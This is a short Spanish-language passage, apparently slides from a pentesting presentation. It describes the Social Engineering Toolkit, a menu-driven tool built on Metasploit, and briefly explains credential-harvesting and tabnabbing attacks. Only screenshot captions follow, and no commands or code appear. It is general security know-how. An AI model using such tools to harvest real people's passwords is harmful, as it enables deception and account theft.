  • 24. SET Cuyo nombre completo es Social Engineering Toolkit es un conjunto de utilidades como su propio nombre indica que nos asiste en la tarea de poner en funcionamiento todo tipo de ataques en los que interviene la ingeniería social, desde ataques vectoriales, hasta ataques como los de pass harvesting o tabnabbing (El primero es captura de contraseñas envenenando una petición GET o POST en nuestro servidor, y el segundo hace lo mismo pero carga el servidor malicioso al cambiar de pestaña en el navegador de la víctima). Creado por David Kennedy, la verdad es que se ha convertido en una herramienta indispensable para cualquiera que trabaje en el área de pentesting, llegando incluso a portarse a un dispositivo iOS con Jailbreak. El software integra en muchas de sus partes secciones del propio Metasploit, pero automatiza la tarea hasta tal punto de basarse en un menú seleccionable con diferentes niveles. También viene incluido en la distribución de Backtrack. Os dejo algunas imágenes. (Menú principal de SET) 24
  • 25. (Menú de ataques principal SET) (Selección de Payload SET) 25